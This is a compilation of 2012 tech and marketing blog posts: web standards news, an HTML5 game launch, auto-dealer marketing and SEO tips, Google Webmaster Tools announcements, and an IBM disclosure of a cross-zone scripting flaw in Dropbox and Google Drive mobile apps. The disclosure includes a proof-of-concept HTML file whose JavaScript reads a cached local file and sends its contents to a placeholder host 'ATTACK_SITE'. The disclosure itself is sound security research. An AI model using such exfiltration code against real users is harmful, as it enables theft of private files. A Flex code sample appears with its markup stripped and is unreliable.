Monday, October 22, 2012

Google, Microsoft, Facebook and Others Launch Web Platform Docs, A Web Standards Documentation Site

Google, Microsoft, Facebook and Others Launch Web Platform Docs, A Web Standards Documentation Site:





  webplatform
A number of leading browser vendors and other tech companies, including Microsoft, Google, Apple, Adobe, Facebook, HP, Nokia, Mozilla, Opera and the W3C, just announced the launch of the Web Platform Docs project at WebPlatform.org. The project aims to create “a new, authoritative open web standards documentation site,” says Opera Software. The wiki-like site, says Opera, wants to ensure that developers can easily find “accurate, quality information on all the latest HTML5, CSS4 and other standards features across the multitude of available web-based resources.”
Currently, the companies behind WebPlatform.org argue, developers struggle to find authoritative answers to their questions about modern web technologies and often, developers have to resort to figuring out the right solutions through trial and error (the Google team describes this as a “scavenger hunt”). The new site, says Adobe, will change this by providing developers a “single, definitive resource to go to.” On the site, users will find API documentation, information on browser compatibility, examples, best practices and the status of the various specifications.
The site has been seeded with information from the participating organizations, but anyone will be able to contribute content to the project. The W3C will serve as the site’s convener and curator, but the various participating organizations stress that this is a community effort.
“People in the web community — including browser makers, authoring tool makers, and leading-edge developers and designers — have tremendous experience and practical knowledge about the web,” said W3C Director Tim Berners-Lee in a canned statement today. “Web Platform Docs is an ambitious project where all of us who are passionate about the web can share knowledge and help one another.”





Microsoft Helps To Bring The Popular Mobile Game Contre Jour To The Web

Microsoft Helps To Bring The Popular Mobile Game Contre Jour To The Web: contre_jour_logo
Contre Jour, the imaginative mobile physics-based puzzle game launched in 2011, is now available on the web. Just like with Cut the Rope for HTML5, the Pulse web app and the recently launched Atari Arcade, Microsoft and the folks at Clarity Consulting helped the Contre Jour team to bring the mobile gaming experience to the (touch-enabled) web.
As Microsoft’s senior director of Internet Explorer Ryan Gavin told me yesterday, the focus here was to show off Internet Explorer 10′s touch capabilities (“touch is the new fast,” Gavin likes to note). Just like Microsoft’s previous collaborations, Contre Jour obviously also uses some cutting-edge HTML5 and CSS3 techniques (including the use of multiple layers of Canvas and the open source 2D physics engine Box2D) to make the experience as fluid as possible in the browser. Contre Jour, Gavin said, “is arguably the most ambitious use of HTML5 to date.”

When the team first approached Contre Jour developer Maksym Hryniv, Gavin told me, Hryniv’s response was that he didn’t think his game could work in the browser. “I didn’t think it was possible to bring my all the intricacies of my game to the web,” said Max. “I was so reluctant initially that I insisted we start by just developing ten levels. But after I played the game on a tablet using IE10, I was amazed—it was like nothing I had seen before on the web. Once I understood how amazing the web game could be, I immediately went to work on creating more levels!”
According to Gavin, Hryniv will also launch a native Windows 8 version of the game, but he sees the web edition as a good way to introduce new players to the experience and expects that the web game will drive more users to the native apps.
The game was obviously optimized for Internet Explorer 10 and I got a chance to test it on Internet Explorer, Chrome and Firefox yesterday. While the game worked on both Chrome and Firefox, the experience definitely wasn’t as smooth as on Internet Explorer. The best way to experience the game on the Web is clearly in the chromeless Windows 8 Metro version of Internet Explorer.

While users who don’t have a touch-enabled device can still play the first 20 levels of Contre Jour, the last ten levels will be exclusively available for users who use a touch-enabled device and browser.
Just like when Microsoft helped Atari to launch its web-based Atari Arcade, the company is also making make a lot of the work that went into bringing Contre Jour to the web available for developers. If you are interested in learning more about this, Microsoft and Clarity build this behind-the-scenes look at how they developed Contre Jour for the web. There is also a downloadable starter framework that developers can use to develop their own Contre Jour-like HTML5 games. Microsoft will also host additional code on its GitHub repository.
The framework Microsoft launched based on the Atari Arcade, the company told me, has resulted in over 200 HTML5 game submissions so far and over 150,000 developers have checked out the behind-the-scenes materials and CreateJS code the company made available after the launch of the Arcade project.



Setting an icon on a Spark Button in Flex Hero





Setting an icon on a Spark Button in Flex Hero

by 

The following example shows how you can set the icon on a Spark Button in Flex Hero by setting the iconstyle.

The following example(s) require Flash Player 10 and the beta Adobe Flex Hero SDK. To download the Adobe Flash Builder 4 trial, see http://www.adobe.com/products/flex/. To download the latest nightly build of the Flex Hero SDK, see http://opensource.adobe.com/wiki/display/flexsdk/Download+Flex+Hero.
The following example requires Flex SDK 4.5.0.18623 or later.
"1.0"
encoding="utf-8"?> name="Spark_Button_icon_test" xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:s="library://ns.adobe.com/flex/spark" xmlns:mx="library://ns.adobe.com/flex/mx"> > horizontalAlign="center" verticalAlign="middle" /> >   > <![CDATA[ [Embed("assets/asterisk_orange.png")] protected const ICON:Class; ]]> >   label="Spark Button with dynamic icon" icon="assets/asterisk_orange.png" /> label="Spark Button with inline embedded icon" icon="@Embed('assets/asterisk_orange.png')" /> label="Spark Button with metadata [Embed] icon" icon="{ICON}" />   >You can also set the icon style in the

Victory by Inches: The Key to Auto Dealers’ Sales Success in a Social World

Victory by Inches: The Key to Auto Dealers’ Sales Success in a Social World:





Social media is an increasingly relevant marketing tool for auto dealerships. Its ability to engage consumers where they socialize today -- and then pull them into the showroom -- is a growing reality.
However, social media at your dealership doesn’t mean much if the sales team is forgetting the basics – those foundational socialization steps known as the road to the sale, customer follow up, and prospecting the household for additional opportunities.
Soliciting friends and followers via Facebook, Twitter or dealer review sites is valuable, but it must be secondary to personal engagement on the showroom floor. As it has always been, selling cars is a process of engagement.
Sales victory is earned by capitalizing on every inch of opportunity. Selling has always been a social process. Dealerships who embrace a culture of selling sociability:
  • Engage every customer and are intentional about building value into their product
  • Recognize every communication and encounter with customers as part of a social engagement opportunity to boost retention and win new business from customers’ friends and families
  • Pursue every up consistently – and re-engage socially with unsold customers to win back two-thirds of them and close between 40 and 70% of them

We have just released a new eBook: Victory by Inches: The Key to Auto Dealers’ Sales Success in a Social World. It shares how dealerships create social selling cultures and convert more shoppers into buyers, whether coming into the store after visiting your website, viewing your Facebook page, getting referred by a friend, or because the store just happens to be in a convenient location.

 Victory by Inches: The Key to Auto Dealers’ Sales Success in a Social World can be downloaded for free at: http://www.carxrm.com/files/carxrm-com-eBook-Oct2012.pdf. If you are at Digital Dealer 13 stop by our booth # 817 and pick up a free print copy, October 23-25, 2012, Las Vegas, NV.


Need more of a Following?

Need more of a Following?:



You have a loyal group of followers right? They love the content you email out or blog about and share it religiously with their friends. Problem is, that loyal group of followers is pretty darn small. So how do you get your word out there? Recruit people with high influence on the Web to help get your word out to a larger audience. Yes, you need the cool kids.
Danny Iny's Copyblogger post titled "Four Proven Strategies for Finding a Wider Audience for Your Content," outlines the following tips so can help you do just that:
  • Involve influential people in your project. First, brainstorm projects.Then, research which influencers would best suit those projects. In your proposal to these popular kids, discuss the benefits to them and their audience. Be available to answer questions, and be patient. If you can get an influencer to join in, you'll have a powerful person talking about your brand and content.
  • Interview influencers. "Survey your audience, either directly or indirectly about what kind of information they are looking for from experts," recommends Iny. "Create a list of options that you are fairly confident will be valuable for them—and for people who aren't a part of your audience but should be."
  • Launch a Klout Perks campaign. "In a nutshell, you can ask companies like Klout to find key influencers in your niche, and you can give those influencers 'Perks' in hopes that they will spread the word for you," suggests Iny. "This is usually free sample merchandise, but you could just as easily do it yourself using exclusive content."
  • Craft an irresistibly sharable presentation. Influencers have spent a lot of time and energy building and maintaining their following. "If you can offer them something incredibly valuable to give their followers...they'll often jump at the chance to help fill their editorial calendar," says Iny.
What do you think of these tips? Do you have any additional tips you feel should be on this list?



59% of Under-35 Auto Service Customers Want Communications Via Mobile Apps

59% of Under-35 Auto Service Customers Want Communications Via Mobile Apps:

DMEautomotive survey reveals auto service customers open to variety of communications platforms; BUT majority of younger demo want contact through ALL platforms
Key Findings:
  • Over a third of consumers are open to receiving communications from their automotive service providers via each platform
  • Eighty-nine percent of those under 35 welcome contact via email; 85% via mail; 64% via text; 62% via live calls; 59% via mobile apps and 56% via recorded calls
  • Under-35 servicers use more forms of media, more intensely: 3 to 6 times more likely to scan QR codes, have a service provider mobile app, and turn to social networking sites, online video, blogs, etc. for maintenance research
Daytona Beach, FL – October 22, 2012 DMEautomotive (DMEa), the leader in science-based, results-driven automotive marketing, today released its second report on how (and how frequently) auto service customers want to be contacted by dealers/providers, and the resources they’re now turning to in their vehicle maintenance research. The findings show that while all customers are receptive to a diversity of communications platforms, under-35 customers are strikingly receptive - wanting not only more frequent communications, but also wanting communications across all six possible platforms, with 59% welcoming mobile app communication.
“Multi-platform marketing has long been a buzzword, but this data reveals that for dealerships and service businesses, cross-channel communications are now a must,” said Doug Van Sach, Vice President of Strategy & Analytics at DMEautomotive. “Reaching younger customers is a whole new ballgame: they’re thirsting for communication, prefer it across many platforms, and are researching vehicle maintenance in many new digital places.”
Findings are based on a national survey of 2,000+ U.S. vehicle owners conducted by DMEa’s Strategy & Analytics division.
Key Findings:
How Customers Want To Be Contacted: The survey gauged how people want to receive communications from their service providers, how often, and was analyzed by customer age.
To view the graphic, click here: http://photos.prnewswire.com/prnfull/20121022/FL96271-INFO
Over a third of consumers are open to receiving communications from their automotive service providers via every platform.  Not surprisingly, email and mail are the top channels preferred with more than 4 in 5 welcoming these methods of contact, and a solid majority wants communications via these channels at minimum every 2-3 months.  It’s critical to note that while consumers may be open to recorded calls and texts, businesses must be cautious when implementing these channels, given the rise in litigation and changes in the regulatory landscape. 
While the percentages of those under 35 and over 35 desiring mail, email and calls are on par, those under 35 are roughly 2.5 times more open to mobile app notifications and almost twice as likely to desire text messages. In addition, across each platform, the under-35 customer desires more frequent communications (more than once every 2-3 months).
Mobile App Usage: Although mobile apps are an emerging technology without the near-universal adoption of email or texting, 59% of those under 35 (and 35% of all customers) welcome mobile app communications from service providers.  To contextualize this eye-opening data, the survey also captured customer usage of mobile apps overall, and the percentage who use an app from a dealer/service provider:
18-34
Over 35
Overall
Use mobile apps
74%
29%
44%
Use apps at least daily
55%
18%
37%
Have dealer/service provider app
14%
5%
10%

Those under 35 are roughly three times more likely to use mobile apps, use them daily, and have one from a dealer/service provider. And, with 6 in 10 of those under 35 using mobile apps at least every two days – and 3 in 5 of that segment welcoming service providers to reach them in this manner - mobile apps represent a uniquely powerful way to reach the next-generation servicer where they live: on smartphones and tablets. But only a small percentage of dealers/service providers now offer a mobile app.
The Maintenance Research Process: The survey also captured the resources service customers are using in their auto service research process:

Sources Used to Learn About Automotive Maintenance
18-34
35+
Twitter
6%
1%
Blogs
13%
3%
Online Message Boards
16%
3%
Social Networking Sites
18%
3%
Auto Store Locator and Review Websites
13%
7%
Auto Print Media
12%
8%
Online Video
23%
6%
Vehicle Review Websites
24%
13%
OEM Websites
24%
19%
Dealer/Store Websites
34%
21%
Service Centers
32%
33%
Family/Friends
50%
37%
Owners Manual
43%
61%

While the owner’s manual, family/friends, and service centers remain the top sources of vehicle maintenance info for both those over and under 35, those under 35 research harder, using every traditional and digital resource at higher rates than those over 35, with the exception of the owner’s manual. And the younger servicer is far more likely to use digital platforms: for instance, they’re 4-6 times more likely to turn to social networking sites, online video or blogs in their service info quest.
 “Most service providers’ outreach is focused on mail and email, which the data shows remain imperative channels. But too many other ‘disconnects’ remain, with customers wanting communications through channels that dealers/service providers are not addressing,” said Van Sach. “This is starkly true with the information-hungry, under-35 customer, who is more likely to research service using every available on- or offline resource, and wants communications across more channels. These ‘all-platform’ consumers are trailblazing the behavior that other customer segments will likely– and that service providers must – ultimately follow.”

About DMEautomotive
DMEautomotive (DMEa) is the industry leader in science-based, results-driven automotive marketing, and provides turnkey marketing to the largest and most innovative automotive organizations, from automobile dealers to many of the largest aftermarket companies in the U.S. DMEa's uniquely panoramic view of the complete automotive sales and service market, combined with its cutting-edge, science-based marketing programs, increases customer yield, conversion and retention.
DMEa does not take marketing performance on faith, and each product and service is measured by a simple, precise scientific approach: Is it true? Prove it. Will it work? Test it. Does it generate results? Show it! Supported by DMEa’s proprietary, cloud-based Red Rocket Technology Platform, the DMEa product suite includes science-based, data-driven, multi-channel customer acquisition and retention marketing programs; best-in-class campaign reporting; data management and analytics; auto-focused Customer Interaction Center solutions, and complete on-site mail and email fulfillment services. Headquartered in Daytona Beach, Florida, DMEa also has major operations in Jacksonville, Fla.
Media Inquiries
Melanie Webber, mWEBB Communications, +1-424-603-4340, melanie@mwebbcom.com
Angela Jacobson, mWEBB Communications, +1-714-454-8776, angela@mwebbcom.com


Old Habits Die Hard: Cross-Zone Scripting in Dropbox & Google Drive Mobile Apps

Old Habits Die Hard: Cross-Zone Scripting in Dropbox & Google Drive Mobile Apps:
Recently, as part of a broader research into mobile application security, I discovered a security vulnerability in several file-sharing mobile apps:

App Name

Vulnerable Version

DropBox

1.4.6 (iOS) + 2.0.1 (Android)

Google Drive

1.0.1 (iOS)
Exploiting this vulnerability, an attacker could steal arbitrary files from a DropBox / Google Drive user by tricking him into viewing a malicious
HTML file inside the mobile app. By abusing the way in which these app
render HTML files, an attacker could bypass Same Origin Policy restrictions and read files that are accessible
to the app itself, including sensitive user content and application confi guration.
Cross-Zone Scripting was once quite common in Desktop environments until it was mitigated by browser vendors. Unfortunately, this vulnerability type has been carried on to the Mobile world, where it is still a threat. As always, it is interesting to see how old vulnerabillities sneak up to new products.




Background
Cross-zone scripting is “a browser exploit taking advantage of a vulnerability within a zone-based security solution. The attack allows content (scripts) in unprivileged zones to be executed with the permissions of a privileged zone - i.e. a privilege escalation within the client (web browser) executing the script”.
In the vulnerability illustrated here, content that originates from an “Internet” zone (i.e. unprivileged zone) is executed under the “Local” zone (i.e. privileged zone).

Vulnerability Description
A signifi cant feature of file-sharing apps is allowing a user to view either his files or files shared with him.
The apps achieve this by using an embedded browser (using the UIWebView/WebView classes in iOS/Android respectively) to display the
contents of these files. Amongst numerous file types, the DropBox / Google Drive apps allow the user to view HTML files
in a rendered format. To do so, these apps use an embedded browser window to render the locally
stored HTML file. The method in which these apps render an HTML file has two side effects:
• JavaScript code contained in the HTML file is automatically executed
• The HTML content is loaded in a privileged fi le zone, as opposed to an unprivileged HTTP location
Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed “Cross-Application Scripting” (XAS). However, because these apps load the HTML file from a privileged zone such as “file:///var/mobile/Applications/APP_UUID/…/maliciousfile.html" (in iOS), the malicious JavaScript can also access the file system with the same permissions as the app.

Impact
By exploiting this vulnerability, an attacker could read and retrieve files that the apps themselves can access. For instance, previously cached files, application configuration files, the device's address book, etc. Furthermore, additional access can be achieved pending on the OS:
• In iOS, read access to the user's DropBox unencrypted credentials (../Library/Preferences/com.getdropbox.Dropbox.plist) existed, until it was fixed. Having access to the user's credentials allows the attacker to retrieve arbitrary files from the user's account as well as to persist the attack by modifying other HTML files.
• In Android, read access to the device's SD card is possible if the app has permission to do so.
Once the HTML file is rendered, the JavaScript code executes immediately. However, when the user has finished viewing the file (e.g. pressed the Home button), code execution is suspended until the user views the file again.

Proof-of-Concept
The following is a PoC illustrates a malicious HTML file that steals a secret file from the user's DropBox account (iOS Version):
<html>    
    <head>
        <title>Malicious HTML File!</title>
    </head>
    <body>
        <script>
            function readDropBoxFileiOS(fileName) {
                // Create a new XHR Object
                x = new XMLHttpRequest(); 
                // When file content is available, send it back
                x.onreadystatechange = function () {
                    if (x.readyState == 4) {
                        x2 = new XMLHttpRequest();
                        x2.onreadystatechange = function () {};
                        // x.responseText contains the content of fileName 
                        // which we'll send back to ATTACK_SITE
                        x2.open("GET", "http://ATTACK_SITE/?file_content=" + 
                                                encodeURI(x.responseText));
                        x2.send();
                    }
                }                // Try to read the content of the specified file
                x.open("GET", fileName);
                x.send();
            };        
            
            // Reads the a secret file from the user's local cache
            readDropBoxFileiOS("file:///var/mobile/Applications/APP_UUID/Library/" + 
                                        "Caches/Dropbox/Secrets/secret.txt");
        </script>
        <h1>This malicious file will now leak a secret file!</h1>
    </body>
</html>

Remediation
The vulnerability stems from the two side-effects of rendering unreliable HTML files in a privileged zone. Two possible solutions can mitigate the aforementioned security issue:
• Disabling execution of JavaScript code while rendering unreliable HTML files.
• Loading the file from a less privileged location such as HTTP (i.e. http://web-dl.file-sharing-app.com)

The specific app advisiories can be found here:

I’d like to thank the following:
  • DropBox / Google  security response teams for the quick fixes!
  • Roee Hay
Discovered by - Roi Saltzman, IBM Application Security Research



A Fun Way that Dealers can Improve their SEO and Touch the Community

A Fun Way that Dealers can Improve their SEO and Touch the Community:

When the topic of SEO comes up, many people envision HTML code and meta tag adjustments. They think of keyword stuffing. They consider the bounds set by the OEM of what they can and cannot do with their websites and how far they can push the boundaries to extend their market reach.
They don't usually imagine finding cool images and videos of epic cars or amazing places, but that's one activity that dealers and SEOs can do to affect their overall search rankings as well as reach out to their communities with amazing and sharable content.
Today, social has become a tremendous SEO tool. Content is the key to true social interactions. The best content is informative, fun, or both. You should see where I'm heading with this, but just in case...

Step 1: Find Content that YOU Enjoy


There are two connections between our virtual world and the real world that need to be noted. On one hand, you have the "sell sell sell" mentality that often prevents dealers from adding content to their website that isn't totally on point with the goal of the dealership: more sales. On the other hand, we're car people. If you're in this business, you love cars (at least you should). As such, thatconnection should definitely come through to the online presence of the dealership but it's often absent.
Above, you'll see an image of a 1956 Ford F-100. It's one of the coolest trucks (in my humble opinion) that was ever built. Why not pay tribute to it on a Ford website? That would be fun, right?
Perhaps more importantly, it can help your search rankings as well as your social outreach by doing so. Find content you love. Then...

Step 2: Put It On Your Website


The most important part here is attribution. I'm not a fan of stealing content. Whenever possible, use images that you've taken. If you must use the internet, there are sites such as Shutterstock that allow you to pay for content images and they have tons of pictures of both cars and locations. If you're going to rely on Google to get the images, be sure to attribute the source with a link to them. They are supplying you with content that will help your website. The least you can do is help them back by supplying them with a link.
With that out of the way, let's talk content. The reason that you're supposed to find content that YOU enjoy is because you'll be able to write much more easily about it. If it's something that you don't care about, it'll show in your writing. If you adore it (just as I adore the '55 and '56 F-100's I used in this project) then it'll show.
There doesn't have to be a ton of written content. If anything, that can be a detriment to have too much. Let the images or videos speak for themselves. With that said, you musthave some unique content on the page or it won't last. One, two, maybe three paragraphs is plenty.
Make it personal. This doesn't have to be the Wikipedia version. It can come from your heart. At your soul, you like cars, right? Let that shine through in the writing. Speaking of Wikipedia, you have to fight the urge to copy and paste. The content must be unique.
Check out the page itself on Holiday Automotive's 1955 Ford F100 page.

Step 3: Make a Couple of Quick SEO Decisions and Apply Them

It's great to have fun with your content, but you want to be able to get a benefit out of it without risking loss of a customer. The first benefit is to help with your search rankings. While it's possible for the page itself to rank for terms associated with F-100s, unless you're a classic truck dealer you're not going to benefit from this.
Instead, use the page to help your domain rank better in general and to help another page rank better for a specific keyword. In this case, we're going to work on getting the homepage ranked for "Wisconsin Ford Dealers", a keyword that they're currently not hitting with on page one. There are two other SEO benefits that we'll talk about below.
The other decision that you'll want to make is whether or not to include the page in your navigation. In most cases, one-off content like this should not be in your navigation. You want to drive traffic to a page like this through social media. No need to distract your normal website visitors with a "fun" page.
The exception to this rule is if you're going to create a lot of pages with amazing content. In such a case, you may want to consider having a section of the website dedicated to this type of content. It can be "Amazing Ford Vehicles through the Decades" with collections of pages similar to this one. It could be "The Best of the Best in Chicago" with pages dedicated to the amazing things and landmarks within the city. There are many options, but a time commitment is required. If you go with occasional one-off pages, you should probably keep them out of the navigation.

Step 4: The Social Buttons

Most pages on most dealer websites have social buttons. Some even go so far as to have toolbars at the bottom or "Share This" widgets. These are acceptable for most pages because, let's face it, nobody's sharing your site anyway. These toolbars and share widgets are smoke and mirror tactics used by some vendors to sell... nevermind - that's another blog post in the future.
The share buttons you'll want on a content page like this will be the ones supplied by the sites themselves. We recommend Facebook, Google+, Twitter, and Pinterest, though some may want to include others such as Tumblr, StumbleUpon, etc.
This is the second (and arguably most important) aspect to helping your SEO. Both Google and Bing have acknowledged that social signals play a role in the search rankings of a domain. For the most part, the content on dealer websites is unsharable... until now. These types of pages can be shared if you have the right content and the right social accounts in place to share them.
This is where the disclaimer must be made. This isn't A Field of Dreams. Just because you build it, that doesn't mean they'll come. At KPA we have accumulated some incredible social media experts that give us the resources to make sure our dealers get the social signals they need for success. Some would say it's the unfair advantage that keeps us at the top in SEO. It's definitely possible to get social signals without the "power accounts" that we have in our arsenal, but that, too, is another blog post altogether. For now, do what you can and even "fake it 'til you make it" by having employees, friends, and even family share the page on social media. After all, it's a content page. It's not like you're asking them to spam their social friends with a car for sale. This is an epic Ford F100. Share away!
Finally, you'll notice the "Embed this Image" code. This is best for infographics but it works for images as well. This is to assist in helping to get links to the page, which brings us to...

Step 5: Get Links to the Page


The concept of "link bait" is still a valid play in the SEO world and this type of page qualifies. However, unless you're able to drive massive traffic to the page, you won't get a ton of links organically. It's time to share it yourself.
Find content sites that would like to see this type of content on their pages. You have blogs (even your own blog), Tumblr, and other content sites that love compilations. In this case, we used Buzzfeed as well as some blogs.
As you can see in the image, we link again to the target keyword and include the images as the content on the page. The text content is unique - no copy and paste here either. It will only take a couple of links to get this particular keyword ranked if you're using the right sites.
Google's Penguin update is looking for link spam, so don't participate in those types of tactics. If you're going to be building a lot of links, make certain that it's natural and organic. Building links that all have the same anchor text is one thing that can trigger the algorithm's filter.
Do it the right way or don't do it at all. To much is at stake. In this case, the handful of links that we built will not hurt the domain and will help to get it ranked for our target keyword. It will also help the overall link authority of the domain. Whenever participating in link-building, always think quality over quality.

Step 6: Social Outreach

Now that you've got the page and supporting pages built, it's time to share it. If your social media pages are strong, it's as simple as sharing it by creating an image gallery. Keep in mind - this will not count as a Facebook like or Google +1. You can share the link from the page itself on your social channels but they will not get as much exposure that way.
Photos rule.
I did, however, link to the page in the comments.
The goal here is to drive some traffic. It won't be much, but if your social media presence is strong you'll get some traffic to it, particularly from Twitter and Pinterest. The goal is to "double dip" with the content so that you're allowing it to help your social pages to flourish. It's great content. Share it!

Step 7: Rinse and Repeat

Set a schedule for yourself. It could be once a week, once a month, or once in a while, but be sure to set aside some time to creating these types of pages. A content-rich website supported by links and social interactions is the key to overall success on both the search and social fronts.
A final note - this is fun and once you get good it can all flow very efficiently, but it does take understanding. If anything at all in this was unclear, please reach out to me. This isn't one of those things in automotive internet marketing that can be done partially well. You either do it right or you do it wrong - there's very little grey area and there's even less room for error.

**************************************************************************

Friday, October 19, 2012

Search Queries Alerts in Webmaster Tools

Search Queries Alerts in Webmaster Tools:



Webmaster level: All

We know many of you check Webmaster Tools daily (thank you!), but not everybody has the time to monitor the health of their site 24/7. It can be time consuming to analyze all the data and identify the most important issues. To make it a little bit easier we’ve been incorporating alerts into Webmaster Tools. We process the data for your site and try to detect the events that could be most interesting for you. Recently we rolled out alerts for Crawl Errors and today we’re introducing  alerts for Search Queries data.

The Search Queries feature in Webmaster Tools shows, among other things, impressions and clicks for your top pages over time. For most sites, these numbers follow regular patterns, so when sudden spikes or drops occur, it can make sense to look into what caused them. Some changes are due to differing demand for your content, other times they may be due to technical issues that need to be resolved, such as broken redirects. For example, a steady stream of clicks which suddenly drops to zero is probably worth investigating.

The alerts look like this:






We’re still working on the sensitivity threshold of the messages and welcome your feedback in our help forums. We hope the new alerts will be useful. Don’t forget to sign up for email forwarding to receive them in your inbox.

Posted by , Tech Lead, Webmaster Tools



A new tool to disavow links

A new tool to disavow links:



Webmaster level: Advanced

Today we’re introducing a tool that enables you to disavow links to your site. If you’ve been notified of a manual spam action based on “unnatural links” pointing to your site, this tool can help you address the issue. If you haven’t gotten this notification, this tool generally isn’t something you need to worry about.

First, a quick refresher. Links are one of the most well-known signals we use to order search results. By looking at the links between pages, we can get a sense of which pages are reputable and important, and thus more likely to be relevant to our users. This is the basis of PageRank, which is one of more than 200 signals we rely on to determine rankings. Since PageRank is so well-known, it’s also a target for spammers, and we fight linkspam constantly with algorithms and by taking manual action.

If you’ve ever been caught up in linkspam, you may have seen a message in Webmaster Tools about “unnatural links” pointing to your site. We send you this message when we see evidence of paid links, link exchanges, or other link schemes that violate our quality guidelines. If you get this message, we recommend that you remove from the web as many spammy or low-quality links to your site as possible. This is the best approach because it addresses the problem at the root. By removing the bad links directly, you’re helping to prevent Google (and other search engines) from taking action again in the future. You’re also helping to protect your site’s image, since people will no longer find spammy links pointing to your site on the web and jump to conclusions about your website or business.

If you’ve done as much as you can to remove the problematic links, and there are still some links you just can’t seem to get down, that’s a good time to visit our new Disavow links page. When you arrive, you’ll first select your site.


You’ll then be prompted to upload a file containing the links you want to disavow.


The format is straightforward. All you need is a plain text file with one URL per line. An excerpt of a valid file might look like the following:


# Contacted owner of spamdomain1.com on 7/1/2012 to




# ask for link removal but got no response


domain:spamdomain1.com


# Owner of spamdomain2.com removed most links, but missed these
http://www.spamdomain2.com/contentA.html
http://www.spamdomain2.com/contentB.html
http://www.spamdomain2.com/contentC.html

In this example, lines that begin with a pound sign (#) are considered comments and Google ignores them. The “domain:” keyword indicates that you’d like to disavow links from all pages on a particular site (in this case, “spamdomain1.com”). You can also request to disavow links on specific pages (in this case, three individual pages on spamdomain2.com). We currently support one disavowal file per site and the file is shared among site owners in Webmaster Tools. If you want to update the file, you’ll need to download the existing file, modify it, and upload the new one. The file size limit is 2MB.

One great place to start looking for bad links is the “Links to Your Site” feature in Webmaster Tools. From the homepage, select the site you want, navigate to Traffic > Links to Your Site > Who links the most > More, then click one of the download buttons. This file lists pages that link to your site. If you click “Download latest links,” you’ll see dates as well. This can be a great place to start your investigation, but be sure you don’t upload the entire list of links to your site -- you don’t want to disavow all your links!

To learn more about the feature, check out our Help Center, and we’d welcome your comments and questions in our forum. You’ll also find a video about the tool and a quick Q&A below.






We would reiterate that we built this tool for advanced webmasters only. We don't recommend using this tool unless you are sure that you need to disavow some links to your site and you know exactly what you're doing.

Q: Will most sites need to use this tool?
A: No. The vast, vast majority of sites do not need to use this tool in any way. If you’re not sure what the tool does or whether you need to use it, you probably shouldn’t use it.

Q: If I disavow links, what exactly does that do? Does Google definitely ignore them?
A: This tool allows you to indicate to Google which links you would like to disavow, and Google will typically ignore those links. Much like with rel=”canonical”, this is a strong suggestion rather than a directiveGoogle reserves the right to trust our own judgment for corner cases, for examplebut we will typically use that indication from you when we assess links.

Q: How soon after I upload a file will the links be ignored?
A: We need to recrawl and reindex the URLs you disavowed before your disavowals go into effect, which can take multiple weeks.

Q: Can this tool be used if I'm worried about "negative SEO"?
A: The primary purpose of this tool is to help clean up if you've hired a bad SEO or made mistakes in your own link-building. If you know of bad link-building done on your behalf (e.g., paid posts or paid links that pass PageRank), we recommend that you contact the sites that link to you and try to get links taken off the public web first. You’re also helping to protect your site’s image, since people will no longer find spammy links and jump to conclusions about your website or business. If, despite your best efforts, you're unable to get a few backlinks taken down, that's a good time to use the Disavow Links tool.

In general, Google works hard to prevent other webmasters from being able to harm your ranking. However, if you're worried that some backlinks might be affecting your site's reputation, you can use the Disavow Links tool to indicate to Google that those links should be ignored. Again, we build our algorithms with an eye to preventing negative SEO, so the vast majority of webmasters don't need to worry about negative SEO at all.

Q: I didn’t create many of the links I’m seeing. Do I still have to do the work to clean up these links?
A: Typically not. Google normally gives links appropriate weight, and under normal circumstances you don't need to give Google any additional information about your links. A typical use case for this tool is if you've done link building that violates our quality guidelines, Google has sent you a warning about unnatural links, and despite your best efforts there are some links that you still can't get taken down.

Q: I uploaded some good links. How can I undo uploading links by mistake?
A: To modify which links you would like to ignore, download the current file of disavowed links, change it to include only links you would like to ignore, and then re-upload the file. Please allow time for the new file to propagate through our crawling/indexing system, which can take several weeks.

Q: Should I create a links file as a preventative measure even if I haven’t gotten a notification about unnatural links to my site?
A: If your site was affected by the Penguin algorithm update and you believe it might be because you built spammy or low-quality links to your site, you may want to look at your site's backlinks and disavow links that are the result of link schemes that violate Google's guidelines.

Q: If I upload a file, do I still need to file a reconsideration request?
A: Yes, if you’ve received notice that you have a manual action on your site. The purpose of the Disavow Links tool is to tell Google which links you would like ignored. If you’ve received a message about a manual action on your site, you should clean things up as much as you can (which includes taking down any spammy links you have built on the web). Once you've gotten as many spammy links taken down from the web as possible, you can use the Disavow Links tool to indicate to Google which leftover links you weren't able to take down. Wait for some time to let the disavowed links make their way into our system. Finally, submit a reconsideration request so the manual webspam team can check whether your site is now within Google's quality guidelines, and if so, remove any manual actions from your site.

Q: Do I need to disavow links from example.com and example.co.uk if they're the same company?
A: Yes. If you want to disavow links from multiple domains, you'll need to add an entry for each domain.

Q: What about www.example.com vs. example.com (without the "www")?
A: Technically these are different URLs. The disavow links feature tries to be granular. If content that you want to disavow occurs on multiple URLs on a site, you should disavow each URL that has the link that you want to disavow. You can always disavow an entire domain, of course.

Q: Can I disavow something.example.com to ignore only links from that subdomain?
A: For the most part, yes. For most well-known freehosts (e.g. wordpress.com, blogspot.com, tumblr.com, and many others), disavowing "domain:something.example.com" will disavow links only from that subdomain. If a freehost is very new or rare, we may interpret this as a request to disavow all links from the entire domain. But if you list a subdomain, most of the time we will be able to ignore links only from that subdomain.


Posted by Jonathan Simon, Webmaster Trends Analyst



How to Find Core Keywords For Effective Online Marketing

How to Find Core Keywords For Effective Online Marketing:



by Stoney deGeyter

There are many angles and avenues for researching keywords for your online marketing efforts. Some people focus on numbers such as search volume or keyword competition. Others might focus on the tools you use to dig up obscure keywords to target. While these may be good keyword metrics to consider, focusing on the keywords themselves should be the most important focus.

You can optimize difficult or easy keywords and high or low search volume phrases, and each will help you reach different levels of success. But choose the wrong keywords and you'll see your marketing campaigns go a whopping nowhere!


Why Core Terms are Important

Using the research tools available, it's not difficult to come up with lists of hundreds or even thousands of keywords on any given topic. But before you dig too deep, you need to first get your keyword foundation. This foundation is the "core terms" that will be the basis for all your research efforts moving forward. Get the core terms wrong, you get your keywords wrong.

Most site owners can easily come up with a handful of "keywords" that they want to optimize off the top of their head. However, there are likely dozens of core terms you can find that are relevant, before you ever go digging for more varied keyword phrases.

To put it simply, a core term is really nothing more than the core topic of a page of your site. However, due to the nature of searchers, you may find several relevant core terms that fit a particular page. An example of this might be "clear cards" vs. "transparent cards." The searcher for either of these is really interested in the same thing but they are using two different words to describe their desire.

Both of these core terms will become the basis for future keyword research. Each core term is likely to produce a list of ten to a couple thousand of keywords that contain each word of the core term.


How to Find Core Terms

